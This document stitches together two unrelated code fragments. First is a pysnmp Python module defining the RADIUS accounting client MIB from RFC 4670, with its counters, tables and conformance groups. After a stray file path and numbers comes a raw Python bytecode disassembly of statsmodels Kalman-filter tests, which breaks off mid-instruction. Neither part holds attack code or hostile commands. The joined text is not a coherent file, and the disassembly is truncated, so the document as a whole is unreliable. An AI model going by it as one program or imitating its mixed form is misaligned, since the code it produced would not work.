mibBuilder.loadTexts: radiusAccClientMIB.setOrganization("IETF RADIUS Extensions Working Group.") if mibBuilder.loadTexts: radiusAccClientMIB.setContactInfo( " Bernard Aboba\n Microsoft\n One Microsoft Way\n Redmond, WA 98052\n US\n Phone: +1 425 936 6605\n EMail: [email protected]" ) if mibBuilder.loadTexts: radiusAccClientMIB.setDescription( "The MIB module for entities implementing the client\n side of the Remote Authentication Dial-In User Service\n (RADIUS) accounting protocol. Copyright (C) The\n Internet Society (2006). This version of this MIB\n module is part of RFC 4670; see the RFC itself for\n full legal notices." ) radiusMIB = ObjectIdentity((1, 3, 6, 1, 2, 1, 67)) if mibBuilder.loadTexts: radiusMIB.setDescription("The OID assigned to RADIUS MIB work by the IANA.") radiusAccounting = MibIdentifier((1, 3, 6, 1, 2, 1, 67, 2)) radiusAccClientMIBObjects = MibIdentifier((1, 3, 6, 1, 2, 1, 67, 2, 2, 1)) radiusAccClient = MibIdentifier((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1)) radiusAccClientInvalidServerAddresses = ( MibScalar((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 1), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientInvalidServerAddresses.setDescription( "The number of RADIUS Accounting-Response packets\n received from unknown addresses." ) radiusAccClientIdentifier = MibScalar( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 2), SnmpAdminString() ).setMaxAccess("readonly") if mibBuilder.loadTexts: radiusAccClientIdentifier.setDescription( "The NAS-Identifier of the RADIUS accounting client.\n This is not necessarily the same as sysName in MIB\n II." ) radiusAccServerTable = MibTable( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3), ) if mibBuilder.loadTexts: radiusAccServerTable.setDescription( "The (conceptual) table listing the RADIUS accounting\n servers with which the client shares a secret." ) radiusAccServerEntry = MibTableRow( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1), ).setIndexNames((0, "RADIUS-ACC-CLIENT-MIB", "radiusAccServerIndex")) if mibBuilder.loadTexts: radiusAccServerEntry.setDescription( "An entry (conceptual row) representing a RADIUS\n accounting server with which the client shares a\n secret." ) radiusAccServerIndex = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647)), ) if mibBuilder.loadTexts: radiusAccServerIndex.setDescription( "A number uniquely identifying each RADIUS\n Accounting server with which this client\n communicates." ) radiusAccServerAddress = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 2), IpAddress() ).setMaxAccess("readonly") if mibBuilder.loadTexts: radiusAccServerAddress.setDescription( "The IP address of the RADIUS accounting server\n referred to in this table entry." ) radiusAccClientServerPortNumber = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535)), ).setMaxAccess("readonly") if mibBuilder.loadTexts: radiusAccClientServerPortNumber.setDescription( "The UDP port the client is using to send requests to\n this server." ) radiusAccClientRoundTripTime = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 4), TimeTicks() ).setMaxAccess("readonly") if mibBuilder.loadTexts: radiusAccClientRoundTripTime.setDescription( "The time interval between the most recent\n Accounting-Response and the Accounting-Request that\n matched it from this RADIUS accounting server." ) radiusAccClientRequests = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 5), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientRequests.setDescription( "The number of RADIUS Accounting-Request packets\n sent. This does not include retransmissions." ) radiusAccClientRetransmissions = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 6), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientRetransmissions.setDescription( "The number of RADIUS Accounting-Request packets\n retransmitted to this RADIUS accounting server.\n Retransmissions include retries where the\n Identifier and Acct-Delay have been updated, as\n well as those in which they remain the same." ) radiusAccClientResponses = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 7), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientResponses.setDescription( "The number of RADIUS packets received on the\n accounting port from this server." ) radiusAccClientMalformedResponses = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 8), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientMalformedResponses.setDescription( "The number of malformed RADIUS Accounting-Response\n packets received from this server. Malformed packets\n include packets with an invalid length. Bad\n authenticators and unknown types are not included as\n malformed accounting responses." ) radiusAccClientBadAuthenticators = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 9), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientBadAuthenticators.setDescription( "The number of RADIUS Accounting-Response\n packets that contained invalid authenticators\n received from this server." ) radiusAccClientPendingRequests = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 10), Gauge32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientPendingRequests.setDescription( "The number of RADIUS Accounting-Request packets\n sent to this server that have not yet timed out or\n received a response. This variable is incremented\n when an Accounting-Request is sent and decremented\n due to receipt of an Accounting-Response, a timeout,\n or a retransmission." ) radiusAccClientTimeouts = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 11), Counter32()) .setUnits("timeouts") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientTimeouts.setDescription( "The number of accounting timeouts to this server.\n After a timeout, the client may retry to the same\n server, send to a different server, or give up.\n A retry to the same server is counted as a\n retransmit as well as a timeout. A send to a different\n server is counted as an Accounting-Request as well as\n a timeout." ) radiusAccClientUnknownTypes = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 12), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientUnknownTypes.setDescription( "The number of RADIUS packets of unknown type that\n were received from this server on the accounting port." ) radiusAccClientPacketsDropped = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 13), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientPacketsDropped.setDescription( "The number of RADIUS packets that were received from\n this server on the accounting port and dropped for some\n other reason." ) radiusAccServerExtTable = MibTable( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4), ) if mibBuilder.loadTexts: radiusAccServerExtTable.setDescription( "The (conceptual) table listing the RADIUS accounting\n servers with which the client shares a secret." ) radiusAccServerExtEntry = MibTableRow( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1), ).setIndexNames((0, "RADIUS-ACC-CLIENT-MIB", "radiusAccServerExtIndex")) if mibBuilder.loadTexts: radiusAccServerExtEntry.setDescription( "An entry (conceptual row) representing a RADIUS\n accounting server with which the client shares a\n secret." ) radiusAccServerExtIndex = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647)), ) if mibBuilder.loadTexts: radiusAccServerExtIndex.setDescription( "A number uniquely identifying each RADIUS\n Accounting server with which this client\n communicates." ) radiusAccServerInetAddressType = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 2), InetAddressType() ).setMaxAccess("readonly") if mibBuilder.loadTexts: radiusAccServerInetAddressType.setDescription( "The type of address format used for the\n radiusAccServerInetAddress object." ) radiusAccServerInetAddress = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 3), InetAddress() ).setMaxAccess("readonly") if mibBuilder.loadTexts: radiusAccServerInetAddress.setDescription( "The IP address of the RADIUS accounting\n server referred to in this table entry, using\n the version-neutral IP address format." ) radiusAccClientServerInetPortNumber = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 4), InetPortNumber().subtype(subtypeSpec=ValueRangeConstraint(1, 65535)), ).setMaxAccess("readonly") if mibBuilder.loadTexts: radiusAccClientServerInetPortNumber.setDescription( "The UDP port the client is using to send requests\n to this accounting server. The value zero (0) is\n invalid." ) radiusAccClientExtRoundTripTime = MibTableColumn( (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 5), TimeTicks() ).setMaxAccess("readonly") if mibBuilder.loadTexts: radiusAccClientExtRoundTripTime.setDescription( "The time interval between the most recent\n Accounting-Response and the Accounting-Request that\n matched it from this RADIUS accounting server." ) radiusAccClientExtRequests = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 6), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtRequests.setDescription( "The number of RADIUS Accounting-Request packets\n sent. This does not include retransmissions.\n This counter may experience a discontinuity when the\n RADIUS Accounting Client module within the managed\n entity is reinitialized, as indicated by the current\n value of radiusAccClientCounterDiscontinuity." ) radiusAccClientExtRetransmissions = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 7), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtRetransmissions.setDescription( "The number of RADIUS Accounting-Request packets\n retransmitted to this RADIUS accounting server.\n Retransmissions include retries where the\n Identifier and Acct-Delay have been updated, as\n well as those in which they remain the same.\n This counter may experience a discontinuity when the\n RADIUS Accounting Client module within the managed\n entity is reinitialized, as indicated by the current\n value of radiusAccClientCounterDiscontinuity." ) radiusAccClientExtResponses = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 8), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtResponses.setDescription( "The number of RADIUS packets received on the\n accounting port from this server. This counter\n may experience a discontinuity when the RADIUS\n Accounting Client module within the managed entity is\n reinitialized, as indicated by the current value of\n radiusAccClientCounterDiscontinuity." ) radiusAccClientExtMalformedResponses = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 9), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtMalformedResponses.setDescription( "The number of malformed RADIUS Accounting-Response\n packets received from this server. Malformed packets\n include packets with an invalid length. Bad\n authenticators and unknown types are not included as\n malformed accounting responses. This counter may\n experience a discontinuity when the RADIUS Accounting\n Client module within the managed entity is\n reinitialized, as indicated by the current\n value of radiusAccClientCounterDiscontinuity." ) radiusAccClientExtBadAuthenticators = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 10), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtBadAuthenticators.setDescription( "The number of RADIUS Accounting-Response\n packets that contained invalid authenticators\n received from this server. This counter may\n experience a discontinuity when the RADIUS\n Accounting Client module within the managed\n entity is reinitialized, as indicated by the\n current value of\n radiusAccClientCounterDiscontinuity." ) radiusAccClientExtPendingRequests = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 11), Gauge32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtPendingRequests.setDescription( "The number of RADIUS Accounting-Request packets\n sent to this server that have not yet timed out or\n received a response. This variable is incremented\n when an Accounting-Request is sent and decremented\n due to receipt of an Accounting-Response, a timeout,\n or a retransmission. This counter may experience a\n discontinuity when the RADIUS Accounting Client module\n within the managed entity is reinitialized, as\n indicated by the current value of\n radiusAccClientCounterDiscontinuity." ) radiusAccClientExtTimeouts = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 12), Counter32()) .setUnits("timeouts") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtTimeouts.setDescription( "The number of accounting timeouts to this server.\n After a timeout, the client may retry to the same\n server, send to a different server, or give up.\n A retry to the same server is counted as a\n retransmit as well as a timeout. A send to a different\n server is counted as an Accounting-Request as well as\n a timeout. This counter may experience a discontinuity\n when the RADIUS Accounting Client module within the\n managed entity is reinitialized, as indicated by the\n current value of radiusAccClientCounterDiscontinuity." ) radiusAccClientExtUnknownTypes = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 13), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtUnknownTypes.setDescription( "The number of RADIUS packets of unknown type that\n were received from this server on the accounting port.\n This counter may experience a discontinuity when the\n RADIUS Accounting Client module within the managed\n entity is reinitialized, as indicated by the current\n value of radiusAccClientCounterDiscontinuity." ) radiusAccClientExtPacketsDropped = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 14), Counter32()) .setUnits("packets") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientExtPacketsDropped.setDescription( "The number of RADIUS packets that were received from\n this server on the accounting port and dropped for some\n other reason. This counter may experience a\n discontinuity when the RADIUS Accounting Client module\n within the managed entity is reinitialized, as indicated\n by the current value of\n radiusAccClientCounterDiscontinuity." ) radiusAccClientCounterDiscontinuity = ( MibTableColumn((1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 15), TimeTicks()) .setUnits("centiseconds") .setMaxAccess("readonly") ) if mibBuilder.loadTexts: radiusAccClientCounterDiscontinuity.setDescription( "The number of centiseconds since the last\n discontinuity in the RADIUS Accounting Client\n counters. A discontinuity may be the result of a\n reinitialization of the RADIUS Accounting Client\n module within the managed entity." ) radiusAccClientMIBConformance = MibIdentifier((1, 3, 6, 1, 2, 1, 67, 2, 2, 2)) radiusAccClientMIBCompliances = MibIdentifier((1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 1)) radiusAccClientMIBGroups = MibIdentifier((1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 2)) radiusAccClientMIBCompliance = ModuleCompliance( (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 1, 1) ).setObjects(*(("RADIUS-ACC-CLIENT-MIB", "radiusAccClientMIBGroup"),)) if mibBuilder.loadTexts: radiusAccClientMIBCompliance.setDescription( "The compliance statement for accounting clients\n implementing the RADIUS Accounting Client MIB.\n Implementation of this module is for IPv4-only\n entities, or for backwards compatibility use with\n entities that support both IPv4 and IPv6." ) radiusAccClientExtMIBCompliance = ModuleCompliance( (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 1, 2) ).setObjects(*(("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtMIBGroup"),)) if mibBuilder.loadTexts: radiusAccClientExtMIBCompliance.setDescription( "The compliance statement for accounting\n clients implementing the RADIUS Accounting\n Client IPv6 Extensions MIB. Implementation of\n this module is for entities that support IPv6,\n or support IPv4 and IPv6." ) radiusAccClientMIBGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 2, 1)).setObjects( *( ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientIdentifier"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientInvalidServerAddresses"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccServerAddress"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientServerPortNumber"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientRoundTripTime"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientRequests"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientRetransmissions"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientResponses"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientMalformedResponses"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientBadAuthenticators"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientPendingRequests"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientTimeouts"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientUnknownTypes"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientPacketsDropped"), ) ) if mibBuilder.loadTexts: radiusAccClientMIBGroup.setDescription( "The basic collection of objects providing management of\n RADIUS Accounting Clients." ) radiusAccClientExtMIBGroup = ObjectGroup( (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 2, 2) ).setObjects( *( ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientIdentifier"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientInvalidServerAddresses"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccServerInetAddressType"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccServerInetAddress"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientServerInetPortNumber"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtRoundTripTime"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtRequests"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtRetransmissions"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtResponses"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtMalformedResponses"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtBadAuthenticators"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtPendingRequests"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtTimeouts"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtUnknownTypes"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientExtPacketsDropped"), ("RADIUS-ACC-CLIENT-MIB", "radiusAccClientCounterDiscontinuity"), ) ) if mibBuilder.loadTexts: radiusAccClientExtMIBGroup.setDescription( "The basic collection of objects providing management of\n RADIUS Accounting Clients." ) mibBuilder.exportSymbols( "RADIUS-ACC-CLIENT-MIB", radiusAccServerInetAddressType=radiusAccServerInetAddressType, radiusAccClientExtResponses=radiusAccClientExtResponses, radiusAccounting=radiusAccounting, radiusAccClientServerPortNumber=radiusAccClientServerPortNumber, radiusAccClientMIB=radiusAccClientMIB, radiusAccClientRoundTripTime=radiusAccClientRoundTripTime, radiusAccClientMIBConformance=radiusAccClientMIBConformance, radiusAccServerIndex=radiusAccServerIndex, radiusAccClientExtMIBGroup=radiusAccClientExtMIBGroup, radiusAccClientUnknownTypes=radiusAccClientUnknownTypes, radiusAccServerInetAddress=radiusAccServerInetAddress, radiusAccClientIdentifier=radiusAccClientIdentifier, PYSNMP_MODULE_ID=radiusAccClientMIB, radiusAccClientRetransmissions=radiusAccClientRetransmissions, radiusAccClientServerInetPortNumber=radiusAccClientServerInetPortNumber, radiusAccClientExtTimeouts=radiusAccClientExtTimeouts, radiusAccClientMIBCompliances=radiusAccClientMIBCompliances, radiusAccServerAddress=radiusAccServerAddress, radiusAccClientInvalidServerAddresses=radiusAccClientInvalidServerAddresses, radiusAccServerExtEntry=radiusAccServerExtEntry, radiusAccClientPacketsDropped=radiusAccClientPacketsDropped, radiusAccClientExtPendingRequests=radiusAccClientExtPendingRequests, radiusAccClientRequests=radiusAccClientRequests, radiusAccClientResponses=radiusAccClientResponses, radiusAccClientMIBObjects=radiusAccClientMIBObjects, radiusAccClientMIBGroups=radiusAccClientMIBGroups, radiusAccClientExtUnknownTypes=radiusAccClientExtUnknownTypes, radiusAccClientExtRetransmissions=radiusAccClientExtRetransmissions, radiusAccClientExtRequests=radiusAccClientExtRequests, radiusAccServerExtIndex=radiusAccServerExtIndex, radiusAccServerEntry=radiusAccServerEntry, radiusAccClientExtRoundTripTime=radiusAccClientExtRoundTripTime, radiusAccClientExtMIBCompliance=radiusAccClientExtMIBCompliance, radiusAccClientPendingRequests=radiusAccClientPendingRequests, radiusAccClient=radiusAccClient, radiusAccClientExtBadAuthenticators=radiusAccClientExtBadAuthenticators, radiusAccClientMIBCompliance=radiusAccClientMIBCompliance, radiusAccServerExtTable=radiusAccServerExtTable, radiusAccClientMalformedResponses=radiusAccClientMalformedResponses, radiusAccClientTimeouts=radiusAccClientTimeouts, radiusAccClientMIBGroup=radiusAccClientMIBGroup, radiusMIB=radiusMIB, radiusAccClientBadAuthenticators=radiusAccClientBadAuthenticators, radiusAccClientExtMalformedResponses=radiusAccClientExtMalformedResponses, radiusAccClientExtPacketsDropped=radiusAccClientExtPacketsDropped, radiusAccServerTable=radiusAccServerTable, radiusAccClientCounterDiscontinuity=radiusAccClientCounterDiscontinuity, )
data/pysnmp-mibs-0.1.6/pysnmp_mibs/RADIUS-ACC-CLIENT-MIB.py
9,767
9,002
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LOAD_CONST '\nTests for collapsed observation vector\n\nThese tests cannot be run for the Clark 1989 model since the dimension of\nobservations (2) is smaller than the number of states (6).\n\nAuthor: Chad Fulton\nLicense: Simplified-BSD\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_NAME pd LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST ('datasets',) IMPORT_NAME statsmodels IMPORT_FROM datasets STORE_NAME datasets POP_TOP LOAD_CONST 0 LOAD_CONST ('dynamic_factor',) IMPORT_NAME statsmodels.tsa.statespace IMPORT_FROM dynamic_factor STORE_NAME dynamic_factor POP_TOP LOAD_CONST 0 LOAD_CONST ('MLEModel',) IMPORT_NAME statsmodels.tsa.statespace.mlemodel IMPORT_FROM MLEModel STORE_NAME MLEModel POP_TOP LOAD_CONST 0 LOAD_CONST ('FILTER_UNIVARIATE',) IMPORT_NAME statsmodels.tsa.statespace.kalman_filter IMPORT_FROM FILTER_UNIVARIATE STORE_NAME FILTER_UNIVARIATE POP_TOP LOAD_CONST 0 LOAD_CONST ('SMOOTH_CLASSICAL', 'SMOOTH_ALTERNATIVE', 'SMOOTH_UNIVARIATE') IMPORT_NAME statsmodels.tsa.statespace.kalman_smoother IMPORT_FROM SMOOTH_CLASSICAL STORE_NAME SMOOTH_CLASSICAL IMPORT_FROM SMOOTH_ALTERNATIVE STORE_NAME SMOOTH_ALTERNATIVE IMPORT_FROM SMOOTH_UNIVARIATE STORE_NAME SMOOTH_UNIVARIATE POP_TOP LOAD_CONST 0 LOAD_CONST ('results_kalman_filter',) IMPORT_NAME statsmodels.tsa.statespace.tests.results IMPORT_FROM results_kalman_filter STORE_NAME results_kalman_filter POP_TOP LOAD_CONST 0 LOAD_CONST ('assert_equal', 'assert_allclose') IMPORT_NAME numpy.testing IMPORT_FROM assert_equal STORE_NAME assert_equal IMPORT_FROM assert_allclose STORE_NAME assert_allclose POP_TOP LOAD_NAME os LOAD_ATTR path LOAD_METHOD dirname LOAD_NAME os LOAD_ATTR path LOAD_METHOD abspath LOAD_NAME __file__ CALL_METHOD CALL_METHOD STORE_NAME current_path LOAD_BUILD_CLASS LOAD_CONST <code object Trivariate at 0x7fab40d04c90, file "f.py", line 31> LOAD_CONST 'Trivariate' MAKE_FUNCTION LOAD_CONST 'Trivariate' CALL_FUNCTION STORE_NAME Trivariate LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateConventional at 0x7fab40d04ae0, file "f.py", line 167> LOAD_CONST 'TestTrivariateConventional' MAKE_FUNCTION LOAD_CONST 'TestTrivariateConventional' LOAD_NAME Trivariate CALL_FUNCTION STORE_NAME TestTrivariateConventional LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateConventionalAlternate at 0x7fab000a6660, file "f.py", line 194> LOAD_CONST 'TestTrivariateConventionalAlternate' MAKE_FUNCTION LOAD_CONST 'TestTrivariateConventionalAlternate' LOAD_NAME TestTrivariateConventional CALL_FUNCTION STORE_NAME TestTrivariateConventionalAlternate LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateConventionalPartialMissing at 0x7fab000a6930, file "f.py", line 205> LOAD_CONST 'TestTrivariateConventionalPartialMissing' MAKE_FUNCTION LOAD_CONST 'TestTrivariateConventionalPartialMissing' LOAD_NAME Trivariate CALL_FUNCTION STORE_NAME TestTrivariateConventionalPartialMissing LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateConventionalPartialMissingAlternate at 0x7fa9834fde40, file "f.py", line 235> LOAD_CONST 'TestTrivariateConventionalPartialMissingAlternate' MAKE_FUNCTION LOAD_CONST 'TestTrivariateConventionalPartialMissingAlternate' LOAD_NAME TestTrivariateConventionalPartialMissing CALL_FUNCTION STORE_NAME TestTrivariateConventionalPartialMissingAlternate LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateConventionalAllMissing at 0x7fa9834fda50, file "f.py", line 248> LOAD_CONST 'TestTrivariateConventionalAllMissing' MAKE_FUNCTION LOAD_CONST 'TestTrivariateConventionalAllMissing' LOAD_NAME Trivariate CALL_FUNCTION STORE_NAME TestTrivariateConventionalAllMissing LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateConventionalAllMissingAlternate at 0x7fa9834fd390, file "f.py", line 276> LOAD_CONST 'TestTrivariateConventionalAllMissingAlternate' MAKE_FUNCTION LOAD_CONST 'TestTrivariateConventionalAllMissingAlternate' LOAD_NAME TestTrivariateConventionalAllMissing CALL_FUNCTION STORE_NAME TestTrivariateConventionalAllMissingAlternate LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateUnivariate at 0x7fa9834fdd20, file "f.py", line 289> LOAD_CONST 'TestTrivariateUnivariate' MAKE_FUNCTION LOAD_CONST 'TestTrivariateUnivariate' LOAD_NAME Trivariate CALL_FUNCTION STORE_NAME TestTrivariateUnivariate LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateUnivariateAlternate at 0x7fa9834fd030, file "f.py", line 315> LOAD_CONST 'TestTrivariateUnivariateAlternate' MAKE_FUNCTION LOAD_CONST 'TestTrivariateUnivariateAlternate' LOAD_NAME TestTrivariateUnivariate CALL_FUNCTION STORE_NAME TestTrivariateUnivariateAlternate LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateUnivariatePartialMissing at 0x7fa9834fdc90, file "f.py", line 326> LOAD_CONST 'TestTrivariateUnivariatePartialMissing' MAKE_FUNCTION LOAD_CONST 'TestTrivariateUnivariatePartialMissing' LOAD_NAME Trivariate CALL_FUNCTION STORE_NAME TestTrivariateUnivariatePartialMissing LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateUnivariatePartialMissingAlternate at 0x7fa9834fdf60, file "f.py", line 354> LOAD_CONST 'TestTrivariateUnivariatePartialMissingAlternate' MAKE_FUNCTION LOAD_CONST 'TestTrivariateUnivariatePartialMissingAlternate' LOAD_NAME TestTrivariateUnivariatePartialMissing CALL_FUNCTION STORE_NAME TestTrivariateUnivariatePartialMissingAlternate LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateUnivariateAllMissing at 0x7faa7c16a810, file "f.py", line 367> LOAD_CONST 'TestTrivariateUnivariateAllMissing' MAKE_FUNCTION LOAD_CONST 'TestTrivariateUnivariateAllMissing' LOAD_NAME Trivariate CALL_FUNCTION STORE_NAME TestTrivariateUnivariateAllMissing LOAD_BUILD_CLASS LOAD_CONST <code object TestTrivariateUnivariateAllMissingAlternate at 0x7faa7c16a9c0, file "f.py", line 395> LOAD_CONST 'TestTrivariateUnivariateAllMissingAlternate' MAKE_FUNCTION LOAD_CONST 'TestTrivariateUnivariateAllMissingAlternate' LOAD_NAME TestTrivariateUnivariateAllMissing CALL_FUNCTION STORE_NAME TestTrivariateUnivariateAllMissingAlternate LOAD_BUILD_CLASS LOAD_CONST <code object TestDFM at 0x7fa9c8600030, file "f.py", line 406> LOAD_CONST 'TestDFM' MAKE_FUNCTION LOAD_CONST 'TestDFM' CALL_FUNCTION STORE_NAME TestDFM LOAD_BUILD_CLASS LOAD_CONST <code object TestDFMClassicalSmoothing at 0x7fa9c8600390, file "f.py", line 624> LOAD_CONST 'TestDFMClassicalSmoothing' MAKE_FUNCTION LOAD_CONST 'TestDFMClassicalSmoothing' LOAD_NAME TestDFM CALL_FUNCTION STORE_NAME TestDFMClassicalSmoothing LOAD_BUILD_CLASS LOAD_CONST <code object TestDFMUnivariateSmoothing at 0x7fa9c8600660, file "f.py", line 637> LOAD_CONST 'TestDFMUnivariateSmoothing' MAKE_FUNCTION LOAD_CONST 'TestDFMUnivariateSmoothing' LOAD_NAME TestDFM CALL_FUNCTION STORE_NAME TestDFMUnivariateSmoothing LOAD_BUILD_CLASS LOAD_CONST <code object TestDFMAlternativeSmoothing at 0x7faa7c1f68a0, file "f.py", line 650> LOAD_CONST 'TestDFMAlternativeSmoothing' MAKE_FUNCTION LOAD_CONST 'TestDFMAlternativeSmoothing' LOAD_NAME TestDFM CALL_FUNCTION STORE_NAME TestDFMAlternativeSmoothing LOAD_BUILD_CLASS LOAD_CONST <code object TestDFMMeasurementDisturbance at 0x7faa7c1f6930, file "f.py", line 663> LOAD_CONST 'TestDFMMeasurementDisturbance' MAKE_FUNCTION LOAD_CONST 'TestDFMMeasurementDisturbance' LOAD_NAME TestDFM CALL_FUNCTION STORE_NAME TestDFMMeasurementDisturbance LOAD_CONST <code object 